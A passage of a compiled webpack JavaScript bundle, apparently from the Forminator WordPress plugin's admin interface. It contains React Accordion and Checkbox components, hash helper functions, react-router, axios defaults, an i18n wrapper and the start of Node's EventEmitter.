var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();
var _react = __webpack_require__(0);
var _react2 = _interopRequireDefault(_react);
var _utils = __webpack_require__(1);
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }
function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
var Accordion = function (_Component) {
_inherits(Accordion, _Component);
function Accordion(props) {
_classCallCheck(this, Accordion);
var _this = _possibleConstructorReturn(this, (Accordion.__proto__ || Object.getPrototypeOf(Accordion)).call(this, props));
_this.state = {
open: props.expanded || false
};
_this.toggleState = _this.toggleState.bind(_this);
return _this;
}
_createClass(Accordion, [{
key: 'toggleState',
value: function toggleState() {
this.setState({
open: !this.state.open
});
}
}, {
key: 'render',
value: function render() {
var _this2 = this;
var label = this.props.label;
var open = this.state.open;
var divClass = '';
if (open) {
divClass = 'sui-accordion-item--open';
}
// eslint-disable-next-line max-len
var boxedContent = !_.isUndefined(this.props.boxedContent) && '' !== this.props.boxedContent ? this.props.boxedContent : true;
var defaultContentRender = !_.isUndefined(this.props.defaultContentRender) ? this.props.defaultContentRender : false;
var accordionContents = _react2.default.Children.map(this.props.children, function (tab) {
return tab;
});
// It's intentionally we use span here to avoid unwanted handlers from SUI on div.sui-accordion-item-header.
return _react2.default.createElement(
'div',
{ className: 'sui-accordion-item ' + divClass },
_react2.default.createElement(
'span',
{ className: 'sui-accordion-item-header', onClick: function onClick() {
return _this2.toggleState();
} },
_react2.default.createElement(
'div',
{ className: 'sui-accordion-item-title' },
_react2.default.createElement(
'span',
null,
label
),
_react2.default.createElement(
'button',
{
className: 'sui-button-icon sui-accordion-open-indicator',
onClick: function onClick() {
return _this2.toggleState();
}
},
_react2.default.createElement('i', { className: 'sui-icon-chevron-down', 'aria-hidden': 'true' }),
_react2.default.createElement(
'span',
{ className: 'sui-screen-reader-text' },
false === this.state.open ? 'Open' : 'Close'
)
)
)
),
_react2.default.createElement(
'div',
{ className: 'sui-accordion-item-body' },
false === boxedContent ? (defaultContentRender || open) && accordionContents : _react2.default.createElement(
'div',
{ className: 'sui-box' },
_react2.default.createElement(
'div',
{ className: 'sui-box-body' },
(defaultContentRender || open) && accordionContents
),
boxedContent
)
)
);
}
}]);
return Accordion;
}(_react.Component);
exports.default = Accordion;
/***/ }),
/* 36 */,
/* 37 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
var assert = __webpack_require__(54);
var inherits = __webpack_require__(55);
exports.inherits = inherits;
function toArray(msg, enc) {
if (Array.isArray(msg))
return msg.slice();
if (!msg)
return [];
var res = [];
if (typeof msg === 'string') {
if (!enc) {
for (var i = 0; i < msg.length; i++) {
var c = msg.charCodeAt(i);
var hi = c >> 8;
var lo = c & 0xff;
if (hi)
res.push(hi, lo);
else
res.push(lo);
}
} else if (enc === 'hex') {
msg = msg.replace(/[^a-z0-9]+/ig, '');
if (msg.length % 2 !== 0)
msg = '0' + msg;
for (i = 0; i < msg.length; i += 2)
res.push(parseInt(msg[i] + msg[i + 1], 16));
}
} else {
for (i = 0; i < msg.length; i++)
res[i] = msg[i] | 0;
}
return res;
}
exports.toArray = toArray;
function toHex(msg) {
var res = '';
for (var i = 0; i < msg.length; i++)
res += zero2(msg[i].toString(16));
return res;
}
exports.toHex = toHex;
function htonl(w) {
var res = (w >>> 24) |
((w >>> 8) & 0xff00) |
((w << 8) & 0xff0000) |
((w & 0xff) << 24);
return res >>> 0;
}
exports.htonl = htonl;
function toHex32(msg, endian) {
var res = '';
for (var i = 0; i < msg.length; i++) {
var w = msg[i];
if (endian === 'little')
w = htonl(w);
res += zero8(w.toString(16));
}
return res;
}
exports.toHex32 = toHex32;
function zero2(word) {
if (word.length === 1)
return '0' + word;
else
return word;
}
exports.zero2 = zero2;
function zero8(word) {
if (word.length === 7)
return '0' + word;
else if (word.length === 6)
return '00' + word;
else if (word.length === 5)
return '000' + word;
else if (word.length === 4)
return '0000' + word;
else if (word.length === 3)
return '00000' + word;
else if (word.length === 2)
return '000000' + word;
else if (word.length === 1)
return '0000000' + word;
else
return word;
}
exports.zero8 = zero8;
function join32(msg, start, end, endian) {
var len = end - start;
assert(len % 4 === 0);
var res = new Array(len / 4);
for (var i = 0, k = start; i < res.length; i++, k += 4) {
var w;
if (endian === 'big')
w = (msg[k] << 24) | (msg[k + 1] << 16) | (msg[k + 2] << 8) | msg[k + 3];
else
w = (msg[k + 3] << 24) | (msg[k + 2] << 16) | (msg[k + 1] << 8) | msg[k];
res[i] = w >>> 0;
}
return res;
}
exports.join32 = join32;
function split32(msg, endian) {
var res = new Array(msg.length * 4);
for (var i = 0, k = 0; i < msg.length; i++, k += 4) {
var m = msg[i];
if (endian === 'big') {
res[k] = m >>> 24;
res[k + 1] = (m >>> 16) & 0xff;
res[k + 2] = (m >>> 8) & 0xff;
res[k + 3] = m & 0xff;
} else {
res[k + 3] = m >>> 24;
res[k + 2] = (m >>> 16) & 0xff;
res[k + 1] = (m >>> 8) & 0xff;
res[k] = m & 0xff;
}
}
return res;
}
exports.split32 = split32;
function rotr32(w, b) {
return (w >>> b) | (w << (32 - b));
}
exports.rotr32 = rotr32;
function rotl32(w, b) {
return (w << b) | (w >>> (32 - b));
}
exports.rotl32 = rotl32;
function sum32(a, b) {
return (a + b) >>> 0;
}
exports.sum32 = sum32;
function sum32_3(a, b, c) {
return (a + b + c) >>> 0;
}
exports.sum32_3 = sum32_3;
function sum32_4(a, b, c, d) {
return (a + b + c + d) >>> 0;
}
exports.sum32_4 = sum32_4;
function sum32_5(a, b, c, d, e) {
return (a + b + c + d + e) >>> 0;
}
exports.sum32_5 = sum32_5;
function sum64(buf, pos, ah, al) {
var bh = buf[pos];
var bl = buf[pos + 1];
var lo = (al + bl) >>> 0;
var hi = (lo < al ? 1 : 0) + ah + bh;
buf[pos] = hi >>> 0;
buf[pos + 1] = lo;
}
exports.sum64 = sum64;
function sum64_hi(ah, al, bh, bl) {
var lo = (al + bl) >>> 0;
var hi = (lo < al ? 1 : 0) + ah + bh;
return hi >>> 0;
}
exports.sum64_hi = sum64_hi;
function sum64_lo(ah, al, bh, bl) {
var lo = al + bl;
return lo >>> 0;
}
exports.sum64_lo = sum64_lo;
function sum64_4_hi(ah, al, bh, bl, ch, cl, dh, dl) {
var carry = 0;
var lo = al;
lo = (lo + bl) >>> 0;
carry += lo < al ? 1 : 0;
lo = (lo + cl) >>> 0;
carry += lo < cl ? 1 : 0;
lo = (lo + dl) >>> 0;
carry += lo < dl ? 1 : 0;
var hi = ah + bh + ch + dh + carry;
return hi >>> 0;
}
exports.sum64_4_hi = sum64_4_hi;
function sum64_4_lo(ah, al, bh, bl, ch, cl, dh, dl) {
var lo = al + bl + cl + dl;
return lo >>> 0;
}
exports.sum64_4_lo = sum64_4_lo;
function sum64_5_hi(ah, al, bh, bl, ch, cl, dh, dl, eh, el) {
var carry = 0;
var lo = al;
lo = (lo + bl) >>> 0;
carry += lo < al ? 1 : 0;
lo = (lo + cl) >>> 0;
carry += lo < cl ? 1 : 0;
lo = (lo + dl) >>> 0;
carry += lo < dl ? 1 : 0;
lo = (lo + el) >>> 0;
carry += lo < el ? 1 : 0;
var hi = ah + bh + ch + dh + eh + carry;
return hi >>> 0;
}
exports.sum64_5_hi = sum64_5_hi;
function sum64_5_lo(ah, al, bh, bl, ch, cl, dh, dl, eh, el) {
var lo = al + bl + cl + dl + el;
return lo >>> 0;
}
exports.sum64_5_lo = sum64_5_lo;
function rotr64_hi(ah, al, num) {
var r = (al << (32 - num)) | (ah >>> num);
return r >>> 0;
}
exports.rotr64_hi = rotr64_hi;
function rotr64_lo(ah, al, num) {
var r = (ah << (32 - num)) | (al >>> num);
return r >>> 0;
}
exports.rotr64_lo = rotr64_lo;
function shr64_hi(ah, al, num) {
return ah >>> num;
}
exports.shr64_hi = shr64_hi;
function shr64_lo(ah, al, num) {
var r = (ah << (32 - num)) | (al >>> num);
return r >>> 0;
}
exports.shr64_lo = shr64_lo;
/***/ }),
/* 38 */,
/* 39 */
/***/ (function(module, exports, __webpack_require__) {
module.exports = __webpack_require__(162);
/***/ }),
/* 40 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
var stringify = __webpack_require__(180);
var parse = __webpack_require__(181);
var formats = __webpack_require__(86);
module.exports = {
formats: formats,
parse: parse,
stringify: stringify
};
/***/ }),
/* 41 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();
var _react = __webpack_require__(0);
var _react2 = _interopRequireDefault(_react);
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }
function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
var Checkbox = function (_Component) {
_inherits(Checkbox, _Component);
function Checkbox(props) {
_classCallCheck(this, Checkbox);
var _this = _possibleConstructorReturn(this, (Checkbox.__proto__ || Object.getPrototypeOf(Checkbox)).call(this, props));
_this.updateValue = _this.updateValue.bind(_this);
return _this;
}
_createClass(Checkbox, [{
key: 'updateValue',
value: function updateValue(value) {
// Check if we're on field settings
if (typeof this.props.updateProperty === 'function') {
// Update field state
this.props.updateProperty(this.props.property, value);
} else {
// Update store
this.props.actions.settingsActions.updateSetting(this.props.property, value);
}
}
}, {
key: 'render',
value: function render() {
var _this2 = this;
var value = _.isUndefined(this.props.settings[this.props.property]) ? this.props.defaultValue : this.props.settings[this.props.property];
var fieldId = _.isUndefined(this.props.fieldId) ? this.props.property : this.props.fieldId;
var disabled = !_.isUndefined(this.props.disabled) && this.props.disabled ? true : false;
var extraClass = '';
if (this.props.itemClass && '' !== this.props.itemClass) {
extraClass = ' ' + this.props.itemClass;
}
return _react2.default.createElement(
'label',
{
htmlFor: 'forminator-field-' + fieldId,
className: 'sui-checkbox' + extraClass
},
_react2.default.createElement('input', {
type: 'checkbox',
id: 'forminator-field-' + fieldId,
value: 'true',
checked: value ? 'checked' : '',
disabled: disabled,
onChange: function onChange(e) {
_this2.updateValue(e.target.checked);
}
}),
_react2.default.createElement('span', { 'aria-hidden': 'true' }),
this.props.label && _react2.default.createElement(
'span',
null,
this.props.label,
!_.isUndefined(this.props.tooltip) && '' !== this.props.tooltip && _react2.default.createElement(
'span',
{
className: 'sui-tooltip sui-tooltip-constrained',
style: {
marginLeft: 10,
verticalAlign: 'middle',
'--tooltip-width': '165px'
},
'data-tooltip': this.props.tooltip
},
_react2.default.createElement('span', {
className: 'sui-icon-info',
'aria-hidden': 'true',
style: { pointerEvents: 'none' }
})
)
)
);
}
}]);
return Checkbox;
}(_react.Component);
exports.default = Checkbox;
/***/ }),
/* 42 */
/***/ (function(module, exports) {
var g;
// This works in non-strict mode
g = (function() {
return this;
})();
try {
// This works if eval is allowed (see CSP)
g = g || Function("return this")() || (1,eval)("this");
} catch(e) {
// This works if the window reference is available
if(typeof window === "object")
g = window;
}
// g can still be undefined, but nothing to do about it...
// We return undefined, instead of nothing here, so it's
// easier to handle this case. if(!global) { ...}
module.exports = g;
/***/ }),
/* 43 */,
/* 44 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
/**
* Copyright (c) 2013-present, Facebook, Inc.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*/
var ReactPropTypesSecret = 'SECRET_DO_NOT_PASS_THIS_OR_YOU_WILL_BE_FIRED';
module.exports = ReactPropTypesSecret;
/***/ }),
/* 45 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {
"use strict";
/* harmony export (immutable) */ __webpack_exports__["a"] = warning;
/**
* Prints a warning in the console if it exists.
*
* @param {String} message The warning message.
* @returns {void}
*/
function warning(message) {
/* eslint-disable no-console */
if (typeof console !== 'undefined' && typeof console.error === 'function') {
console.error(message);
}
/* eslint-enable no-console */
try {
// This error was thrown as a convenience so that if you enable
// "break on all exceptions" in your console,
// it would pause the execution at this line.
throw new Error(message);
/* eslint-disable no-empty */
} catch (e) {}
/* eslint-enable no-empty */
}
/***/ }),
/* 46 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {
"use strict";
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0_warning__ = __webpack_require__(33);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0_warning___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_0_warning__);
var createTransitionManager = function createTransitionManager() {
var prompt = null;
var setPrompt = function setPrompt(nextPrompt) {
__WEBPACK_IMPORTED_MODULE_0_warning___default()(prompt == null, 'A history supports only one prompt at a time');
prompt = nextPrompt;
return function () {
if (prompt === nextPrompt) prompt = null;
};
};
var confirmTransitionTo = function confirmTransitionTo(location, action, getUserConfirmation, callback) {
// TODO: If another transition starts while we're still confirming
// the previous one, we may end up in a weird state. Figure out the
// best way to handle this.
if (prompt != null) {
var result = typeof prompt === 'function' ? prompt(location, action) : prompt;
if (typeof result === 'string') {
if (typeof getUserConfirmation === 'function') {
getUserConfirmation(result, callback);
} else {
__WEBPACK_IMPORTED_MODULE_0_warning___default()(false, 'A history needs a getUserConfirmation function in order to use a prompt message');
callback(true);
}
} else {
// Return false from a transition hook to cancel the transition.
callback(result !== false);
}
} else {
callback(true);
}
};
var listeners = [];
var appendListener = function appendListener(fn) {
var isActive = true;
var listener = function listener() {
if (isActive) fn.apply(undefined, arguments);
};
listeners.push(listener);
return function () {
isActive = false;
listeners = listeners.filter(function (item) {
return item !== listener;
});
};
};
var notifyListeners = function notifyListeners() {
for (var _len = arguments.length, args = Array(_len), _key = 0; _key < _len; _key++) {
args[_key] = arguments[_key];
}
listeners.forEach(function (listener) {
return listener.apply(undefined, args);
});
};
return {
setPrompt: setPrompt,
confirmTransitionTo: confirmTransitionTo,
appendListener: appendListener,
notifyListeners: notifyListeners
};
};
/* harmony default export */ __webpack_exports__["a"] = (createTransitionManager);
/***/ }),
/* 47 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {
"use strict";
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0_react_router_es_Router__ = __webpack_require__(48);
// Written in this round about way for babel-transform-imports
/* harmony default export */ __webpack_exports__["a"] = (__WEBPACK_IMPORTED_MODULE_0_react_router_es_Router__["a" /* default */]);
/***/ }),
/* 48 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {
"use strict";
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0_warning__ = __webpack_require__(19);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0_warning___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_0_warning__);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_1_invariant__ = __webpack_require__(15);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_1_invariant___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_1_invariant__);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_2_react__ = __webpack_require__(0);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_2_react___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_2_react__);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_3_prop_types__ = __webpack_require__(9);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_3_prop_types___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_3_prop_types__);
var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }
function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
/**
* The public API for putting history on context.
*/
var Router = function (_React$Component) {
_inherits(Router, _React$Component);
function Router() {
var _temp, _this, _ret;
_classCallCheck(this, Router);
for (var _len = arguments.length, args = Array(_len), _key = 0; _key < _len; _key++) {
args[_key] = arguments[_key];
}
return _ret = (_temp = (_this = _possibleConstructorReturn(this, _React$Component.call.apply(_React$Component, [this].concat(args))), _this), _this.state = {
match: _this.computeMatch(_this.props.history.location.pathname)
}, _temp), _possibleConstructorReturn(_this, _ret);
}
Router.prototype.getChildContext = function getChildContext() {
return {
router: _extends({}, this.context.router, {
history: this.props.history,
route: {
location: this.props.history.location,
match: this.state.match
}
})
};
};
Router.prototype.computeMatch = function computeMatch(pathname) {
return {
path: "/",
url: "/",
params: {},
isExact: pathname === "/"
};
};
Router.prototype.componentWillMount = function componentWillMount() {
var _this2 = this;
var _props = this.props,
children = _props.children,
history = _props.history;
__WEBPACK_IMPORTED_MODULE_1_invariant___default()(children == null || __WEBPACK_IMPORTED_MODULE_2_react___default.a.Children.count(children) === 1, "A <Router> may have only one child element");
// Do this here so we can setState when a <Redirect> changes the
// location in componentWillMount. This happens e.g. when doing
// server rendering using a <StaticRouter>.
this.unlisten = history.listen(function () {
_this2.setState({
match: _this2.computeMatch(history.location.pathname)
});
});
};
Router.prototype.componentWillReceiveProps = function componentWillReceiveProps(nextProps) {
__WEBPACK_IMPORTED_MODULE_0_warning___default()(this.props.history === nextProps.history, "You cannot change <Router history>");
};
Router.prototype.componentWillUnmount = function componentWillUnmount() {
this.unlisten();
};
Router.prototype.render = function render() {
var children = this.props.children;
return children ? __WEBPACK_IMPORTED_MODULE_2_react___default.a.Children.only(children) : null;
};
return Router;
}(__WEBPACK_IMPORTED_MODULE_2_react___default.a.Component);
Router.propTypes = {
history: __WEBPACK_IMPORTED_MODULE_3_prop_types___default.a.object.isRequired,
children: __WEBPACK_IMPORTED_MODULE_3_prop_types___default.a.node
};
Router.contextTypes = {
router: __WEBPACK_IMPORTED_MODULE_3_prop_types___default.a.object
};
Router.childContextTypes = {
router: __WEBPACK_IMPORTED_MODULE_3_prop_types___default.a.object.isRequired
};
/* harmony default export */ __webpack_exports__["a"] = (Router);
/***/ }),
/* 49 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {
"use strict";
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0_path_to_regexp__ = __webpack_require__(78);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0_path_to_regexp___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_0_path_to_regexp__);
var patternCache = {};
var cacheLimit = 10000;
var cacheCount = 0;
var compilePath = function compilePath(pattern, options) {
var cacheKey = "" + options.end + options.strict + options.sensitive;
var cache = patternCache[cacheKey] || (patternCache[cacheKey] = {});
if (cache[pattern]) return cache[pattern];
var keys = [];
var re = __WEBPACK_IMPORTED_MODULE_0_path_to_regexp___default()(pattern, keys, options);
var compiledPattern = { re: re, keys: keys };
if (cacheCount < cacheLimit) {
cache[pattern] = compiledPattern;
cacheCount++;
}
return compiledPattern;
};
/**
* Public API for matching a URL pathname to a path pattern.
*/
var matchPath = function matchPath(pathname) {
var options = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {};
var parent = arguments[2];
if (typeof options === "string") options = { path: options };
var _options = options,
path = _options.path,
_options$exact = _options.exact,
exact = _options$exact === undefined ? false : _options$exact,
_options$strict = _options.strict,
strict = _options$strict === undefined ? false : _options$strict,
_options$sensitive = _options.sensitive,
sensitive = _options$sensitive === undefined ? false : _options$sensitive;
if (path == null) return parent;
var _compilePath = compilePath(path, { end: exact, strict: strict, sensitive: sensitive }),
re = _compilePath.re,
keys = _compilePath.keys;
var match = re.exec(pathname);
if (!match) return null;
var url = match[0],
values = match.slice(1);
var isExact = pathname === url;
if (exact && !isExact) return null;
return {
path: path, // the path pattern used to match
url: path === "/" && url === "" ? "/" : url, // the matched portion of the URL
isExact: isExact, // whether or not we matched exactly
params: keys.reduce(function (memo, key, index) {
memo[key.name] = values[index];
return memo;
}, {})
};
};
/* harmony default export */ __webpack_exports__["a"] = (matchPath);
/***/ }),
/* 50 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
/* WEBPACK VAR INJECTION */(function(process) {
var utils = __webpack_require__(14);
var normalizeHeaderName = __webpack_require__(165);
var DEFAULT_CONTENT_TYPE = {
'Content-Type': 'application/x-www-form-urlencoded'
};
function setContentTypeIfUnset(headers, value) {
if (!utils.isUndefined(headers) && utils.isUndefined(headers['Content-Type'])) {
headers['Content-Type'] = value;
}
}
function getDefaultAdapter() {
var adapter;
if (typeof XMLHttpRequest !== 'undefined') {
// For browsers use XHR adapter
adapter = __webpack_require__(81);
} else if (typeof process !== 'undefined') {
// For node use HTTP adapter
adapter = __webpack_require__(81);
}
return adapter;
}
var defaults = {
adapter: getDefaultAdapter(),
transformRequest: [function transformRequest(data, headers) {
normalizeHeaderName(headers, 'Content-Type');
if (utils.isFormData(data) ||
utils.isArrayBuffer(data) ||
utils.isBuffer(data) ||
utils.isStream(data) ||
utils.isFile(data) ||
utils.isBlob(data)
) {
return data;
}
if (utils.isArrayBufferView(data)) {
return data.buffer;
}
if (utils.isURLSearchParams(data)) {
setContentTypeIfUnset(headers, 'application/x-www-form-urlencoded;charset=utf-8');
return data.toString();
}
if (utils.isObject(data)) {
setContentTypeIfUnset(headers, 'application/json;charset=utf-8');
return JSON.stringify(data);
}
return data;
}],
transformResponse: [function transformResponse(data) {
/*eslint no-param-reassign:0*/
if (typeof data === 'string') {
try {
data = JSON.parse(data);
} catch (e) { /* Ignore */ }
}
return data;
}],
/**
* A timeout in milliseconds to abort a request. If set to 0 (default) a
* timeout is not created.
*/
timeout: 0,
xsrfCookieName: 'XSRF-TOKEN',
xsrfHeaderName: 'X-XSRF-TOKEN',
maxContentLength: -1,
validateStatus: function validateStatus(status) {
return status >= 200 && status < 300;
}
};
defaults.headers = {
common: {
'Accept': 'application/json, text/plain, */*'
}
};
utils.forEach(['delete', 'get', 'head'], function forEachMethodNoData(method) {
defaults.headers[method] = {};
});
utils.forEach(['post', 'put', 'patch'], function forEachMethodWithData(method) {
defaults.headers[method] = utils.merge(DEFAULT_CONTENT_TYPE);
});
module.exports = defaults;
/* WEBPACK VAR INJECTION */}.call(exports, __webpack_require__(2)))
/***/ }),
/* 51 */,
/* 52 */
/***/ (function(module, exports, __webpack_require__) {
/**
* Internal dependencies
*/
var I18N = __webpack_require__( 92 ),
i18n = new I18N();
module.exports = {
numberFormat: i18n.numberFormat.bind( i18n ),
translate: i18n.translate.bind( i18n ),
configure: i18n.configure.bind( i18n ),
setLocale: i18n.setLocale.bind( i18n ),
getLocale: i18n.getLocale.bind( i18n ),
getLocaleSlug: i18n.getLocaleSlug.bind( i18n ),
addTranslations: i18n.addTranslations.bind( i18n ),
reRenderTranslations: i18n.reRenderTranslations.bind( i18n ),
registerComponentUpdateHook: i18n.registerComponentUpdateHook.bind( i18n ),
registerTranslateHook: i18n.registerTranslateHook.bind( i18n ),
state: i18n.state,
stateObserver: i18n.stateObserver,
on: i18n.stateObserver.on.bind(i18n.stateObserver),
off: i18n.stateObserver.removeListener.bind(i18n.stateObserver),
emit: i18n.stateObserver.emit.bind(i18n.stateObserver),
localize: __webpack_require__( 105 )( i18n ),
$this: i18n,
I18N: I18N
};
/***/ }),
/* 53 */,
/* 54 */
/***/ (function(module, exports) {
module.exports = assert;
function assert(val, msg) {
if (!val)
throw new Error(msg || 'Assertion failed');
}
assert.equal = function assertEqual(l, r, msg) {
if (l != r)
throw new Error(msg || ('Assertion failed: ' + l + ' != ' + r));
};
/***/ }),
/* 55 */
/***/ (function(module, exports) {
if (typeof Object.create === 'function') {
// implementation from standard node.js 'util' module
module.exports = function inherits(ctor, superCtor) {
ctor.super_ = superCtor
ctor.prototype = Object.create(superCtor.prototype, {
constructor: {
value: ctor,
enumerable: false,
writable: true,
configurable: true
}
});
};
} else {
// old school shim for old browsers
module.exports = function inherits(ctor, superCtor) {
ctor.super_ = superCtor
var TempCtor = function () {}
TempCtor.prototype = superCtor.prototype
ctor.prototype = new TempCtor()
ctor.prototype.constructor = ctor
}
}
/***/ }),
/* 56 */
/***/ (function(module, exports) {
// Copyright Joyent, Inc. and other Node contributors.
//
// Permission is hereby granted, free of charge, to any person obtaining a
// copy of this software and associated documentation files (the
// "Software"), to deal in the Software without restriction, including
// without limitation the rights to use, copy, modify, merge, publish,
// distribute, sublicense, and/or sell copies of the Software, and to permit
// persons to whom the Software is furnished to do so, subject to the
// following conditions:
//
// The above copyright notice and this permission notice shall be included
// in all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
// OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN
// NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,
// DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR
// OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE
// USE OR OTHER DEALINGS IN THE SOFTWARE.
function EventEmitter() {
this._events = this._events || {};
this._maxListeners = this._maxListeners || undefined;
}
module.exports = EventEmitter;
// Backwards-compat with node 0.10.x
EventEmitter.EventEmitter = EventEmitter;
EventEmitter.prototype._events = undefined;
EventEmitter.prototype._maxListeners = undefined;
// By default EventEmitters will print a warning if more than 10 listeners are
// added to it. This is a useful default which helps finding memory leaks.
EventEmitter.defaultMaxListeners = 10;
// Obviously not all Emitters should be limited to 10. This function allows
// that to be increased. Set to zero for unlimited.
EventEmitter.prototype.setMaxListeners = function(n) {
if (!isNumber(n) || n < 0 || isNaN(n))
throw TypeError('n must be a positive number');
this._maxListeners = n;
return this;
};
EventEmitter.prototype.emit = function(type) {
var er, handler, len, args, i, listeners;
if (!this._events)
this._events = {};
// If there is no 'error' event listener then throw.
if (type === 'error') {
if (!this._events.error ||
(isObject(this._events.error) && !this._events.error.length)) {
er = arguments[1];
if (er instanceof Error) {
throw er; // Unhandled 'error' event
} else {
// At least give some kind of context to the user
var err = new Error('Uncaught, unspecified "error" event. (' + er + ')');
err.context = er;
throw err;
}
}
}
handler = this._events[type];
if (isUndefined(handler))
return false;
if (isFunction(handler)) {
switch (arguments.length) {
// fast cases
case 1:
handler.call(this);
break;
case 2:
handler.call(this, arguments[1]);
break;
case 3:
handler.call(this, arguments[1], arguments[2]);
break;
// slower
default:
args = Array.prototype.slice.call(arguments, 1);
handler.apply(this, args);
}
} else if (isObject(handler)) {
args = Array.prototype.slice.call(arguments, 1);
listeners = handler.slice();
len = listeners.length;
for (i = 0; i < len; i++)
listeners[i].apply(this, args);
}
return true;
};
EventEmitter.prototype.addListener = function(type, listener) {
var m;
if (!isFunction(listener))
throw TypeError('listener must be a function');
if (!this._events)
this._events = {};
// To avoid recursion in the case that type === "newListener"! Before
// adding it to the listeners, first emit "newListener".
if (this._events.newListener)
this.emit('newListener', type,
isFunction(listener.listener) ?
listener.listener : listener);
if (!this._events[type])
// Optimize the case of one listener. Don't need the extra array object.
this._events[type] = listener;
else if (isObject(this._events[type]))
// If we've already got an array, just append.
this._events[type].push(listener);
else
// Adding the second element, need to change to array.
this._events[type] = [this._events[type], listener];
// Check for listener leak
if (isObject(this._events[type]) && !this._events[type].warned) {
if (!isUndefined(this._maxListeners)) {
m = this._maxListeners;
} else {
m = EventEmitter.defaultMaxListeners;
}
if (m && m > 0 && this._events[type].length > m) {
this._events[type].warned = true;
console.error('(node) warning: possible EventEmitter memory ' +
'leak detected. %d listeners added. ' +
'Use emitter.setMaxListeners() to increase limit.',
this._events[type].length);
